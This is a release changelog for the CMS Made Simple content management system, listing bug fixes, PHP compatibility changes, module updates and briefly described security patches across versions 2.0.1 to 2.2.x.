  - Fixes issue in the CmsLayoutStylesheet class related to associating designs with new stylesheets.
  - Now check for an english language file first in module_custom/xxxxx/lang before a file for the current language.
  - Prevent false-positive hit for "multiple_webshells_0018" rule webserver virusscanner (https://github.com/Yara-Rules/rules/blob/master/Webshells/WShell_THOR_Webshells.yar#L4764).
  - Fixes a bug in ContentOperations::LoadAllContent() if the content list had a custom content type from a module that was unvavailable.
  - Fixes a bug in the Database\Connection::DbTimeStamp().

Search v1.51.6
  - Minor fixes to help.

MicroTiny v2.2.3
  - More entropy in the mt_config.js filename to fix issues with js caching when switching users.
  - Fixes in the cms_linker plugin for when trying to change a link to a CMSMS page where the alias has changed.

FileManager v1.6.8
  - Fixes an upload issue.

ModuleManager v2.1.5
  - PHP 7.2+ fixes.

CMSContentManager v1.1.7
  - Fixes an issue with changing content type after copying a content page.

DesignManager v1.1.5
  - Fixes ownership issue on templates with importing a design.

Phar Installer v1.3.7
  - Minof fix to detect when PHP's memory limit is set to -1.


Version 2.2.8 - Flin Flon
----------------------------------
Core - General
  - Re-introduce the host_whitelist config entry that got lost in some commit somewhere.
  - Minor fix to pagination in Admin log.
  - Change Finnish locale priorities so that UTF-8 is first.
  - Minor fix to calling hooks with a single associative array parameter.
  - Adds new HookManager::do_hook_first_result() method.
  - cangegroupperms now calls HookManager::do_hook_first_result.
  - Minor enhancement to moduleoperations::_load_module() to check if the class exists.
  - Minor enhancement to {cms_action_url} wrt. the page to link to if not specified.
  - Deprecate CMSModule::SetParameterType and CMSModule::CreateParameter methods.
  - Deprecate ModuleOperations::GetModuleParameters() method.
  - CMSModule::RestrictUnknownParameters() now does nothing.
  - No longer warn if a module is sent a parameter that is not registered.
  Note: modules should now be cleaning parameters directly (see filter_var) from $_POST and $_REQUEST ($_GET is automatically cleaned).
  Note: In the future,  $params in module actions will only consist of parameters passed on the module tag.
  - PHP 7.2+ fixes.
  - Fix the inactive param in the page_attr plugin.

FilePicker v1.0.3
  - Minor fix to delete action.

Search v1.51.5
  - Now enforce utf-8 on preg_split.
  - Minor parameter check.
  - Removed deprecated each() function.

CMSJobManager v0.1.3
  - Notices fixed.
  - PHP 7.2+ fixes.

FileManager v1.6.7
  - Remove un-necessary files that may cause a security vulnerability.
  - prevent creating directories with leading or trailing whitespace in the name.

Module Manager v2.1.4
  - PHP 7.2+ fixes.

Navigator v1.0.9
  - Template fix simple_navigation.tpl. Output correct class for parent without active children.

News v2.51.4
  - Notices fixed.


Version 2.2.7 - Skookumchuck
----------------------------------
Core - General
  - Change internal CSRF variable name.
  - Fix object insertion bug via deserialize in LoginOperations.
  - Fix issue where login cookie contents could be forged by determining the hashing salt.
  - Refactor the mechanism for generating and verifying admin account password reset codes.

FileManager v1.6.6
  - No longer allow uploading files with names that end in .

FilePicker v1.0.2
  - No longer allow uploading files with names that end in .

Search v1.51.4
  - Minor fix to microtime calls.


Version 2.2.6 - Come by Chance
----------------------------------
Core - General
  - Fixes to AdminAlerts::load_by_name().
  - SetMessage() and SetError() in the module API now use session variables.
  - Remove support for module_error and module_action request parameters in admin module actions.
  - Add call to check_login() in admin actions that were missing them.

Search v1.51.3
  - Fix notice in PHP 7.1: A non well formed numeric value encountered...


Version 2.2.5 - Wawa
----------------------------------
Core - General
  - Fix minor security issue in the way login information was cached in cookies and the session.
  - Simplify rules around alias editing/generation in fillparams.
    If the alias field exists then we can adjust its value or recalculate an alias.
    Use basic properties, and ownership and permissions to determine if that field exists on the edit form.
  - Minor fixes to the CmsJobManager.


Version 2.2.4 - Little Paradise
----------------------------------
Core - General
  - Improvements to the Hook class.
  - Minor fix to usertagoperations.
  - Changes to the hierarchy selector to disallow circular references.
  - Fix problems with additional editors causing page aliases to be regenerated.
  - Minor fixes to Admin log browser.
  - Minor fixes to Admin login.
  - Add missing call Core::LoginPre hook.
  - Modify myaccount.php to call Core::EditUserPre hook BEFORE the password is set.
  - Fix documentation to CallUserTag.
  - Fix to default handling for content_image block.
  - Improve the help for the {page_attr} plugin.
  - Fix a potential warning in the {anchor} tag.
  - Fix boolean comparison in LoginOperations.

Installation Assistant v1.3.4
  - Fixes endless recursion issue with setting a tmpdir.
  - Fix issue with requiring a database prefix on upgrade.

FilePicker v1.0.2
  - Now allow specifying a 'useprefix' boolean parameter to the action url which will use the current top directory.
  - Add a prefix on all returned strings.
  - Slight modification to the profile class.
  - Now sends the FileManager::OnFileUploaded hook the same way as FileManager does.
  - Adds an exception handler around the change working directory stuff.

FileManager v1.6.5
  - Change upload action to call FileManager::OnFileUploaded hook before creating the thumbnail to allow a hook to rename the uploaded file.
  - Now enable creation of thumbnails on install.

MicroTiny v2.2.2
  - Minor fix for the filepicker if using a default filepicker profile that specifies a top directory.
  - Re-adds the table plugin (went missing when we upgraded tinymce).

ModuleManager v2.1.3
  - Adds audit line displaying status if cannot connect to ModuleRepository.

DesignManager v1.1.4
  - Fixes problems with the cancel button not marking the form as 'clean' (not dirty).


Version 2.2.3.1 - Happy Adventure
----------------------------------
Core - General
  - Fix an issue when parsing multiple content blocks.


Version 2.2.3 - Happy Adventure
----------------------------------
Core - General
  - Fixed a redirect loop problem on mixed HTTP/HTTPS sites when the secure flag was set on some pages.
  - Fixed a problem with prefilters and postfilters not working if placed in /assets/plugins.
  - Now use our own derivative of Smarty Internal Template so that we can send hooks, etc.
  - Improved error message if there was an error parsing the template (or a duplicate content block).
  - Fixes content blocks, image blocks, module blocks containing whitespace in the name.
  - Minor fix to {cms_filepicker} plugin.
  - Improve the CmsModuleInfo class such that if the module class file is newer it will be loaded.
  - Now generate the moduleinfo.ini file automatically on install or upgrade of a module.
  - Increase the maxlength attribute for password input boxes in myaccount.
  - Adds a StartsWith JavaScript shiv for IE11.
  - Revert the protocol-less URI for root_url (more changes coming for 2.3).
  - Get rid of the smart_url config option.
  - Fix a problem when testing for duplicate aliases of the form string-###  where the suffix integer was greater than 100.
  - More fixes to mact preprocessing if {content} was in the top of the template.
  - Minor fix to ExpandXMLPackage to not throw an exception in brief mode if module is not compatible with the current version of CMSMS.
  - adds new cms_entities_array function in misc to convert an array recursively to values.
  - Fixes transposed arguments in UserOperations::AddMemberGroup().
  - Better detection of duplicate content blocks.
  - Revert template_stack change to Smarty_CMS from 2.2.2.
  - Improvements to HookManager.

CmsJobManager v0.1.1
  - Optimization of audit logging.
  - Change connection timeout to 1 second.
  - Change processing to be a little more friendly to some environments wrt. content-size header.
  - Prevent processing from the CLI when root_url is calculated.

MicroTiny v2.2.1
  - Minor fix for filepicker plugin.

News v2.51.3
  - For security, no longer urldecode the detailtemplate parameter in detail view.
    This may have some implications for people that are specifying the detailtemplate parameter (with a template with special characters) from within a WYSIWYG (which is not recommended behavior).
  - Convert title and dropdown options and text fields to entities before display.

ModuleManager v2.1.2
  - Now sort modules in the installed tab a bit better.
  - Now handle module 'not available' a bit better.

FileManager v1.6.4
  - Add a different icon for navigating up one level.
  - No longer allow uploading any php (or derivative) file.
  - No longer allow renaming any file to have a .php extension (or a derivative).
  - Fixes an issue when improper/invalid values for root path and uploads path are manually specified in the config.php

FilePicker v1.0.1
  - No longer allow overriding the filepicker type on the URL.
  - No longer allow uploading any .php files.

CMSContentmanager v1.1.6
  - Now double check that the 'default parent' for new pages actually exists.

Navigator v1.0.8
  - Minor english documentation correction.

Installation Assistant v1.3.3
  - Now look for lib/include.php before include.php in step 8 and step 9 when connecting to CMSMS.
  - Fixes to upgrade routine for 2.1.5 wrt. the 'Manage Stylesheets' permission (ignore an exception).


Version 2.2.2 - Hearts Content
----------------------------------
Core - General
 - Additional security improvement in CMSModule::GetTemplateResource().
 - Now Smarty_CMS is no longer derived from SmartyBC (uses our own wrapper class) which prevents all occurrences of {php} tags from running.
 - Adds an admin directory .htaccess file to explicitly disable browser caching of any resources.
 - Fixes a relative path vulnerability in module_file_tpl resource.
 - Fixes a path building issue in CmsModuleInfo.
 - Fixes to parsing and generating moduleinfo.ini files.
 - Disallow any resource specifications with a * or a /.
     * This also means that no file resource specifications with path information will be permitted.
 - Move mact preprocessing to AFTER the template_top has been processed. So order of processing (for module actions on the frontend is)
     a:  template top
     b:  mact preprocessing (if enabled, which is the default)
     c:  template body
     d:  template head
 - Fix sureGetNodeByAlias to check if the input is numeric. If it is, assume that it is a page id, not an alias.
 - Fix alias generation in the ContentBase class to check if the input page title is numeric... If it is, prepend a character to it to ensure that integer casting will return 0.
 - Fix listtags to show tags using smarty_nocache_ function name prefix.
 - Improvements to the {form_start} plugin.
 - Fix silly, old issue in recursive_delete function.
 - Clean up more parameters from the content tag before passing to module action.
 - Fix local file inclusion vulnerability in listtags.
 - Now call get_userid() in debug_to_log instead of check_login()

AdminSearch v1.0.3
 - Now search the metadata field of content pages.
 - Fixes for single quotes in search results.

DesignManager v1.1.3
 - Set title attribute tags for edit/create template, stylesheet, design.
 - Remove debug statements.

MicroTiny v2.2
 - Upgrade tinymce to v4.6.x.
 - Adds new tabfocus and hr plugins.

News v2.51.2
 - Fixes so that all cancel buttons work properly on new News articles.

Navigator v1.0.7
 - Adds a silly __get() method to the NavigatorNode class squash some notifications in the error logs.

ModuleManager v2.1.1
 - Now handlle remote module installs upgrades, and activates via a 2 request process to allow new module versions to be read into memory.

Installation Assistant v1.3.2
 - Correction to assets warning

Search v1.51.2
 - Now do an html entity decode on all content added to AddWords.


Version 2.2.1 - Hearts Desire
----------------------------------
Core - General
 - Improve the Smarty plugin loading to handle non-cachable plugins in the /assets/plugins and /plugins directories.
 - Fixes to transaction functions in database abstraction library.
 - Fix CMSModule::GetTemplateResource to no longer accept eval or string resources.
 - Fix CMSSmartySecurityPolicy so that debug_to_log is no longer an allowed function.

   Many thanks to Daniel Le Gall from SCRT SA, Switzerland for reporting the vulnerabilities.

Installation Assistant v1.3.1
 - On upgrade to 2.2.1 move all files from /plugins to /assets/plugins (they should only be third party plugins at this point).
 - On upgrade chmod the config.php to 444.

MicroTiny v2.1.1
 - Fix temporary JS call URL.

News v2.51.1
 - Fix frontend pagination.


Version 2.2 - Canada
----------------------------------
Core - General
  - Automatically turn on file locking for cached files to attempt to mitigate race conditions.
    NOTE:  On systems using archaic filesystems such as FAT and FAT32 CMSMS may no longer operate.
  - cms_filecache_driver now caches for 2 hours by default and has an improved cooperative locking test
  - Implement new database abstraction library that is compatible with (functionality wise) but improves upon adodb-lite.
  - Implement protocol-less URL's in the config.
  - Page tabs are now focusable (you can tab through page tabs and use enter to select one).
  - Minor fix to the {form_start} plugin.
  - Minor change to the {admin_icon} plugin (default image class).
  - Cache more items that are queried from the database, to reduce mysql load.
  - Minor change to tree operations functionality to reduce memory usage.
  - Fixed problem with order of content blocks when using {content_module} stuff.
  - Adds get_usage_string and the concept of a type assistant to template types.
  - Minor change to auto-alias determination routine.
  - Detect module_custom enhancements in the CmsModuleInfo stuff.
  - Refactor Admin authentication.
  - More fixes to the cms_url class.
  - Optimize the include.php file.
  - Adds built-in asynchronous task processing system.
  - Adds the ability to reduce redundant mentions in the Admin log (runs asynchronously).
  - Refactor the Admin log page to allow for better filtering and pagination.
  - Admin log now uses cms_date_format and cleans output.
  - Notification functions in the CmsAdminThemeBase function are now just stubs and do nothing. Will be removed at a later date.
  - Removed the GetNotificationOutput() method from the module API.
  - Adds classes for creating Alerts. This is much more advanced than the old Notifications system.
  - Minor accessibility tweaks to the OneEleven theme.
  - Fix numerous minor problems with the OneEleven theme.
  - Refactored the OneEleven Admin theme to use new Alerts classes instead of old Notifications.
  - Refactor the OneEleven Admin theme to display an alert icon in the shortcut bar, instead of in the navigation area.
  - Fixed sidenav in the one OneEleven theme now works properly. If sidenav is larger than viewport then don't use fixed... easy.
  - In OneEleven Now revert to small sidebar navigation (still floating) if screen is too narrow.
  - Removed notification settings from MyAccount and Global Settings.
  - Removed pseudocron granularity preferences.
  - cms_alert() and the new cms_confirm() JavaScript functions now return promises.
  - Revises much code to use cms_alert and cms_confirm() instead of the standard, but browser specific functions.
  - Fixes to the cache clearing methodology.
  - No longer check for duplicate content blocks in templates... NEEDS TESTING
  - New core events: ContentPreRender, LostPassword, LostPasswordReset, StylesheetPostRender.
  - Fix problem with the default parameter to the {content} tag.
  - Fix problem with the use_smartycache thing in system information.
  - Fix notice in useroperations.
  - Fixes problems where all files (including dot files) had to be writable before creating a module XML file.
  - Fixes minor notice in user operations.
  - Fixes for namespaced modules.
  - Fixes an issue in CmsLayoutTemplate when creating a template from a type.
  - Fixes an issue where a 404 handler error page would not be rendered correctly if for some reason the route did not specify a page id to load.
  - More fixes to cms_url class.
  - Numerous minor optimizations.
  - Add to content types the ability to set basic attributes for properties from within the page type definition.
  - Fixes problems with pagelink and link content types not being properly editable by additional editors.
  - Adds more type and content cleaning into the content types FillParams method(s).
  - Pass an explicit cacheid in to createtemplate in index.php.
  - Fix an error message in the autorefresh JavaScript class.
  - Fix problems that could result in uid=1 becoming inactive, and not a member of other groups when edited by another user.
  - Fix query problem in CmsLayoutStylesheetQuery with Mysql 5.7.
  - The {content} tag now supports passing data attributes to the generated textarea, for use by syntax highlighter and WYSIWYG modules. i.e: {content data-foo="bar"}.
  - Refactoring of the Admin login code to be cleaner, more efficient, more secure.
  - No longer allow any modules to auto-upgrade on frontend requests.
  - Fix problem with cms_filecache_driver::clear().
  - Introduces the new Hook mechanism to allow optimizing cms_stylesheet a bit further. All core SendEvent calls are now implemented as hooks.
  - changegroupperms can now localize permission names,  and add an info string for each permission. (the listpermissions hook).
  - Adds add_headtext(), get_headtext(),  add_footertext(), get_footertext() methods to the Admin theme class.
  - minor refactoring of admin/index.php, admin/header.php, admin/footer.php and admin/moduleinterface.php.
  - now use hooks so that loaded modules can now add text to the head area of any Admin page output.
  - Change the help for the basic attributes.
  - Adds new 'switch user' functionality for members of the Admin group.
  - Re-factor the content page selector ... now supports two modes (one for a simple list, and the previous dynamic one that is faster for large sites)
    the simple list mode is used for users with limited edit capabilities on pages.
  - Adds a new Smarty plugin {page_selector} to the Admin lib.
  - New arguments to the CreateHierarchyDropdown function (deprecated) and adjust documentation.
  - Content pages now have the ability to control whether or not the page wants any more children.
  - The TemplateType class now has a help callback to optionally allow retrieving help for templates of a particular type.
  - Permissions are now grouped logically by module/originator in ChangeGroupPermissions.
  - Now use HTTPS for the latest version check.
  - Adds the public_cache_url config entry,  and make sure that the css_url uses that by default.
  - Adds many core hooks.
  - Enhance the {page_image} plugin to optionally output a full HTML img tag if there is a value for the respective property.
  - Improve the {content_image} plugin to output nothing if there is no value for the property, and to output any non-internal arguments as attributes to the HTML img tag.
  - Upgrade to an un-modified version of smarty v3.1.31.
  - Move plugins directory to lib/plugins since we now have the assets/plugins directory for custom plugins.  Upgrading should preserve any custom plugins in the /plugins directory.
  - Add new plugins {thumbnail_url}, {file_url} and {cms_filepicker).
  - Add more intelligence to the tableoption handling for DataDictionary::CreateTableSQL.
  - Minor improvements to the asynchronous behaviour of the locking functionality.
  - #11295 - Cannot change the name of a UDT, always creates new UDT.
  - #11080 - Parameter $adding in GetContentBlockFieldInput always FALSE.
  - #11093 - Bad error message in jquery.cmsms_autorefresh.js.
  - #11133 - is_email() fails on domain check.
  - #11235 - munge_string_to_url leaves trailing dashes at the end of munged URL.
  - #11287 - Password reset form's password fields have different lengths.
  - Fix issue with module actions if 'content_en' block name was given on the default content block.
  - Better security when saving content pages.  Most primary fields are cast to their appropriate data type (int, bool, etc).  MenuText, and TitleAttribute can no longer contain html tags like <strong>foo</strong>.
  - Fixes issue with entities in redirecting links
  - The href/page argument to {cms_selflink} is now decoded before resolving to a page id.

Navigator v1.0.5
  - Minor optimizations.
  - Now use pageid in calculations of cacheid.
  - Now output template help to Navigator.

Installation Assistant v1.3
  - Only create dummy index.html files in subdirectories we created.
  - Clear cache after step 9.
  - Upgrade routine now asks for, and tests database credentials.
  - Upgrade routine now rewrites the config.php file (but keeps a backup).
  - Set a few more preferences to reasonable defaults on install. Specifically related to site cleanup and performance.
  - On installation, now insure that tmp/cache and tmp/templates_c directories are empty.
  - Now displays if files are going to be skipped.
  - Adds clear option for development purposes.
  - No longer ask to save database password.
  - On install now create the assets directory structure.
  - On upgrade (for 2.2) now create the assets directory structure and move tmp/configs, tmp/templates, module_custom, admin/custom, etc. within it.
  - When using the expanded installer allow changing the destination directory on step 1.
  - Check for existing files in the installation directory for new installations.
  - Added more notes to aide in diagnosing white screens
  - Modify package .zip files so that extracted files will usually have 644 permission (depends on the unzip routine used).

CmsJobManager
  - New core module to handle queued asynchronous tasks.

Content Manager
  - Minor tweak to bulk delete pages.
  - Minor fix to the active tab when changing a template or design.
  - Now listen to the 'default parent page' user preference.
  - Fix minor XSS problem in the Admin if some loser puts JavaScript into the title field or alias field or menu text field.
  - Now allow filtering pages by owner, editor, template, or design.  Only for Administrators with Modify any page, or Manage all content permissions.
  - Fix problems with auto-refresh being too fast for some operations.
  - Now auto scroll to the first matched page in a find.
  - Additional editors of a page cannot change the content type. Only owners, or users with the Manage all Content permissions.
  - Fix a problem with the call to GetTabElements.

DesignManager
  - Move the designs tab of the main interface into third position.
  - Implement sorting in edit design.
  - Remove option menus (for now) from templates, stylesheets, and designs tab.
  - Modify the template list functionality in edit-design to allow using keyboard control. Space or + to select an item on the left, and right arrow to move.
  - Modify the edit-design functionality to allow clicking on an attached template or stylesheet to edit it.
  - Generic templates now display a usage string.
  - When creating a new template, associate the new template with the default design.
  - Add reset buttons to the filter forms.
  - No longer check for default content block in a template.
  - Adds the ability to export a template to a file within the assets directory, and to import from the assets directory.
  - If a file exists in the assets/templates directory corresponding to a template name, do not allow in-browser editing.
  - Add bulk actions to allow importing and exporting multiple templates.
  - In the template list, if a file exists for a template... display it in the filename column.
  - Adds the ability to export a stylesheet to a file within the assets directory, and to import from the assets directory.
  - If a file exists in the assets/css directory corresponding to a stylesheet name, do not allow in-browser editing.
  - Add bulk actions to allow importing and exporting multiple stylesheets.
  - In the stylesheet list, if a file exists for a stylesheet display it in the filename column.

News v2.51
  - Minor fix to add category.
  - Removes GetNotificationOutput method.
  - Add a task that runs at least every 15 minutes to detect draft articles... create an alert for this.
  - Add an option to never create alerts about draft News articles.
  - Minor optimizations.
  - Adds postdate as parameters in events.
  - now output template help to Navigator.
  - Adds new 'linked file' type field that allows selecting a file using the filepicker.
  - Changes the default summary and detail templates to support the linked_file field type, and uses {thumbnail_url} and {file_url}.

FileManager v1.6.3
  - Move settings to it's own menu item under Site Admin.
  - Fix minor problem with moving a directory.
  - Minor fix to move file functionality.
  - Adds OnFileDeleted event.
  - Adds 'view raw file' icon in each viewable row.
  - Minor formatting changes in file list.
  - Now display clickable path entries for easier navigation.

Search
  - Convert to store all data using the InnoDB engine.
  - Use transactions for the addwords and deletewords stuff for performance.
  - Fix problem with query and record expiry.

AdminSearch v1.0.3
  - Fixes problem with use of 'Use Admin Search' permission.
  - Now searches for matching strings within templates and stylesheets that are stored as files.
  - Now listens to the HasSearchableContent metod when searching content pages.

ModuleManager
  - Now detect if module_custom directories exist and are populated and warn about this before upgrading a module.
  - Minor string changes.
  - Improvements to error handling in the new versions tab.
  - Write a confirmation form for uninstalling a module that displays the UninstallPreMessage or uses a default.
  - Now don't allow disabling / uninstalling myself.
  - Don't hide the upgrades tab when there are no upgrades, but show the number of upgrades in the tab title instead.
  - Now use HTTPS for requests to ModuleRepository.
  - Trigger a hook before exporting a module to XML.

MicroTiny v2.1
  - New version of the tinymce wysiwyg editor.
  - Adds a mailto plugin.
  - Now use the FilePicker module for a filepicker, required rewriting the cmsms_filepicker tinymce plugin.
  - Enable the title attribute on the image plugin.
  - Now uses PUBLIC_CACHE_LOCATION for cache files instead of hardcoding tmp/cache


Version 2.1.6 - Spanish Wells
----------------------------------
Core - General
  - Now attempt to detect if a template name passed into CmsModule::GetTemplateResource() is already a resource string.
  - endswith is now an accepted function in Smarty templates (fixes typo in security policy).
  - Fixes for CmsNlsOperations when using a language detector.
  - Fixes warnings in useroperations.
  - Fixes problem with cms_selflink dir='up' since 2013.
  - Modifies the OneEleven theme to set the meta referrer attribute for security purposes.
  - Modifies the functionality of the CSRF tokens to be more secure (only set the cookie in one location, only set the session variable from the cookie).
  - Increase Admin users list limit.
  - Reduce time limit for daily version check to 3 seconds.
  - cleanValues in Admin log and List Content.
  - Minor fix to the relative_time plugin.
  - Admin menu item URLs can now be built from the remaining members of the object, if not specified.
  - {content_image} and {content_module} now preserve order properly and support the priority attribute.

  - #11198 - Fixes problem with cms_selflink with aliases that starts with a numeric sign.

Content Manager v1.1.4
  - Fix bulk set-non-cachable functionality.
  - Fix a bug wrt content blocks and the adding flag.

Installation Assistant v1.0.4
  - Adds recommended check for ZipArchive.
  - Improves method of determining a temp directory.

ModuleManager v2.0.5
  - Improves functionality if ModuleRepository is not available.

News v2.50.6
  - Minor fix to editing news articles from the Admin interface.


Version 2.1.5 - High Rock
----------------------------------
Core - General
  - Fix fatal error if an extcss stylesheet was placed in the Admin theme.
  - Another minor fix to clearing cached files.
  - Fixes problems where all files (including dot files) had to be writable before creating a module XML file.
  - Fixes minor notice in user operations.
  - Fixes for namespaced modules.
  - Fixes an issue in CmsLayoutTemplate when creating a template from a type.
  - Fixes an issue where a 404 handler error page would not be rendered correctly if for some reason the route did not specify a page id to load.
  - More fixes to cms_url class.
  - Improve the way page aliases are munged when they are supplied.
  - Improve the error generated when a page alias cannot be generated.
  - Minor fixes to the form_start plugin.
  - Minor fixes to generation of moduleinfo.ini.
  - Fix an error message in the autorefresh JavaScript class.
  - Fix problems that could result in uid=1 becoming inactive, and not a member of other groups when edited by another user.
  - Fix query problem in CmsLayoutStylesheetQuery with Mysql 5.7.

  - #11080 - Parameter $adding in GetContentBlockFieldInput always FALSE.
  - #11093 - Bad error message in jquery.cmsms_autorefresh.js.

Content Manager
  - Improve error handling in Edit Content.
  - Fix a problem with the call to GetTabElements.

Design Manager
  - Fix problem with resetting a template back to factory defaults, or creating a new template from factory defaults.

Module Manager
  - Improve the way modules with dependencies are installed and upgraded. (Got rid of the queue stuff).

AdminSearch
  - Use 'Manage Stylesheets' permission, not 'Modify Stylesheets' when searching stylesheets.

Phar Installer
  - Adds missing 'Manage Stylesheets' permission that would not be created on upgrade from 1.12.



Version 2.1.4 - Freetown
----------------------------------
Core - General
  - Fix to the clear_cached_file() method which should fix problems with module installation.
  - Minor tweak to distributed sample htaccess.txt file.

Phar Installer
  - Fixes issues with respect to hanging on step 7 when suhosin PHP addon was installed.
  - Minor PHP7 Fixes.

Module Manager
  - Fixes problems where all files (including dot files) had to be writable before creating a module XML file.


Version 2.1.3 - Black Point
----------------------------------
Core - General
  - Security fix to prevent HTTP_HOST attacks. Many thanks to I-TRACING (www.i-tracing.com) for reporting it!!
  - Remove stub .htaccess files from subdirectories.
  - Update the included sample htaccess.txt file for security.
  - Fix for endless loop when calculating a page alias in utf-8 environments.
  - Fix for endless loop when calculating a page alias and a page name/title ended with -
  - Fixes a notice on the login page.
  - Optimize LoadContentFromId() to be typesafe, and use default page, if the id passed in is invalid.
  - Fix error condition if there were no default default design, or default page template.
  - Fix problem with system verification.

  - #10825 - Admin-account settings don't remember startpage if you set one
  - #10874 - When creating a page and the title has specific characters, CMSMS stops responding
  - #10910 - content and content_module order incorrect Admin page
  - #10911 - 'Use Admin Search' permission not being used in 2.1.2
  - #10921 - Content Field to Display in Name Column not used

AdminSearch v1.0.1
  - Minor fix to permissions checks.

Navigator v1.0.3
  - Improved exception handling on install

News v2.50.5
  - Fix error condition if no results were returned.

Installation Assistant v1.0.3.1
  - Tweaks to README files.
  - Improved error handling in some circumstances.
  - Fix some PHP7 issues.

FileManager
  - #10871 - Filemanager moving folder


Version 2.1.2 - Andros Town
----------------------------------
Core - General
- Minor fix to missing language string stuff
- Fixes to home page preferences
- API documentation fixes (minor)
- Fixes for ajax_content (the Ajax routine behind the parent selector in edit content) to handle ordering inconsistencies
- Remove die statement in is_email
- Minor fix to the relative_time modifier
- Upgrade CMSMailer to 6.2.14
- Now do a check for E_ALL in the system info

News v2.50.4
- Now all field definitions can be deleted
- Minor fix to default action if no results were returned...

ModuleManager v2.0.2
- Revamp module dependency calculations when installing a module
- Minor fix for some notices in install and upgrade modules
- Minor typo fixes
- Minor fixes for PHP7

MenuManager  v1.50.2
- make sure that uninstall cleans up properly

MicroTiny v2.0.3
- minor template fix
- fixes for stylesheet overrides


Version 2.1.1 - Nicholls Town
----------------------------------
Core - General
- Fix the template compiler so that content blocks can be placed within sub templates and detected with the {include} tag
- Fix minor problem with checksum verification
- Fix to the cms_cache_handler class
- Minor fix to SetAllPageHierarchies()
- Correct location where session was started in frontend displays
- Fix the default option for {content_image}
- Modify the locker to use a beacon if supported, when unlocking
- Fix missing permissions when a 1.12 site was upgraded (installation assistant)

CMSContentmanager v1.1
- Minor template changes in edit content wrt. locking
- Adds ability to clear content locks (Admins can clear all locks, regular users can only clear their locks)
- Enhancements to the action to bulk set designs to show only page templates by default, but to optionally show more

DesignManager v1.1.1
- Minor template changes in edit content wrt. locking
- Adds ability to clear template and CSS locks (Admins can clear all locks, regular users can only clear their locks)


Version 2.1 - Bahamas
----------------------------------
Core - General
- Minor performance tweaks to sample htaccess.txt
- Minor fix to the ProcessTemplateFromDatabase module API method.
- Improvements and re-factor the way headers are sent wrt caching
- Add a new method to the ModuleOperations class to allow a module to be within a namespace.
- Enhances the Group class.
- Enhancements and fixes to the cms_url class.
- Modified the $mod->smarty reference to be smarter... it is now deprecated.
- Fixes issue with https requests (#10697)
- Modifies The CmsLayoutTemplate class and CmsLayoutTemplateQuery to allow filtering on listable or non listable
  or setting a template as listable (default) or non listable
- Fixes a problem with styling of the login form if tasks must be run AND a module needs upgrading.
- Fixes to the cloning of templates in CmsLayoutTemplate
- Fixes problem with SetAllHierarchyPositions that cleared the entire cache instead of only the necessary part of it.
- Adds the unloadCancel handler to the lockManager jQuery plugin.
- Moves version.php and include.php inside the lib directory so that they are easier to protect from unwanted direct access.
- Fixes to page alias tests when manually entering a page alias.
- Missing language strings are no longer output to Admin log, but to the debug log.
- Requests for modules that are not installed/enabled, or for invalid actions will now result in 404 errors.
- Fixed problem where restricted content editors could implicitly change the page alias.
- Improvements to the system information page, particularly the bbcode output.
- cms_init_editor, form_start, and cms_action_url plugins are no longer cachable.
- Adds the 'adminonly' option to the {content}, {content_image}, and {content_module} tags to allow only members of the 'Admin' group to manipulate the values of that block.
- Add a trivial check to the sitedown message to make sure that it is not empty.
- Minor fixes for PHP 7

MicroTiny v2.0.2
- Now add page hierarchy to autocomplete text when using the linker.
- Now use $smarty->CreateTemplate for clarity when compling the config template
- Now explicitly assign urls so that they do not get caced by smarty.
- Slightly tweak the default HTML content in the example tab.
- Updated tinymce to the latest 4.2.7 version, included the 'paste' plugin, and turned on 'paste_as_text'.
- Added the ability to enable the table plugin, now distribute the table plugin

CMSContentManager v1.0.2
- Fix problem with pagedefault metadata.
- Fixes for handling no listable templates for a design
- More work with locking.  With only one exception all locking and unlocking is initiated via javascript.
- Minor fix to copycontent

DesignManager v1.1
- Adds ability to toggle the listability of a template.
- Fixes problems with lost changes if there is a syntax error in the template.
- More work with locking.  With only one exception all locking and unlocking is initiated via JavaScript.

News v2.50.3
- Fixes minor issue with pagination in News Admin console.
- Fix errors in the default form template.
- Fixed URL to long issues on redirection after adding/editing article.

Search v1.50.2
- Minor PHP7 fixes.

ModuleManager 2.0.1
- Minor fix to which modules could be uninstalled and deactivated.


Version 2.0.1.1 - Adelaide
----------------------------------
Fix to the $this->smarty magic method in the module class to resolve to the action template or the global Smarty.


Version 2.0.1 - Adelaide
----------------------------------
Core - General
- Improved optimization in ContentOperations::SetAllHierarchyPositions.
- Fixed return type of ContentOperations::GetPageIdFromAlias().
- Help for the {cms_html_options} plugin.
- Change the default page template to use {Navigator}.
- Explicitly force $smarty->fetch() to create a new template, and therefore a new scope. Keep track of scopes in a stack.
- Change prototype to CMSModule::DoActionBase to pass in the current template object.
- SITENAME is now assigned as a Smarty global.
  (fixes some variable scope issues)
- Fix problem with changing content types.
- Fix problem with CmsLayoutTemplateQuery wrt the editable option, that generated an SQL error.
  (resolves problems where people have additional editor access to templates, but no other design manager permissions).
- Fix minor JavaScript errors in plugin (error checking).
- Fix problems where If assign was passed to a {content} tag, do not pass it to the module on a mact request.
- Implements the completely forgotten 403 exception stuff and the IsPermitted content method.
- Improve the cmsms_dirtyform jQuery plugin to support the unload handler and an onUnload callback.
- Fixed the jQuery page selector plugin when the current value points to an invalid page,  and fixes for asynchronous Ajax.
- Adds a globally available cms_busy() JavaScript function for the Admin.
- Fix problem with html entitites in email addresses in user settings.
- Fix problem with {content cssname=string} and quotes.
- Changed cmsms plugins to use $smarty->getTemplateVars() instead of $smarty->get_template_vars() because of scope issues.
- Minor fix to {form_start} when not used in a module.
- Improved error handling for cms_stylesheet.  Now will generate a message in the Admin log, and an html comment on error.

CMSContentManager v1.0.1
- Fixes for changing content types.
- Adds a title for some contextual help if a template is not available for a content item.
- Clear any locks if an exception occurred while submitting a content item.
- Improvements to error handling with apply and preview.
- Content list now refreshes every 30 seconds to display up-to-date lock information.

DesignManager v1.0.1
- Clear the type_default flag when copying a template.
- Clear any locks if an exception occurred while submitting a template.
- Clear any locks if an exception occurred while submitting a stylesheet.
- Template and stylesheet lists now refresh every 30 seconds to display up-to-date lock information.
- Fixes for design exporting templates with protocol-less URLs in them.

MenuManager v1.50.1
- Changes to createSmartyTemplate calls (now use $smarty->get_template_parent()).

Navigator v1.0.1
- Changes to createSmartyTemplate calls (now use $smarty->get_template_parent()).
- Minor change to the help ($node->children_exist)

Search v1.50.1
- Changes to createSmartyTemplate calls (now use $smarty->get_template_parent()).

News v2.50.1
- Changes to createSmartyTemplate calls (now use $smarty->get_template_parent()).
- Fix problem with custom fields not being assigned in fesubmit.
- Fix minor problem with html entities in the detail template parameter.

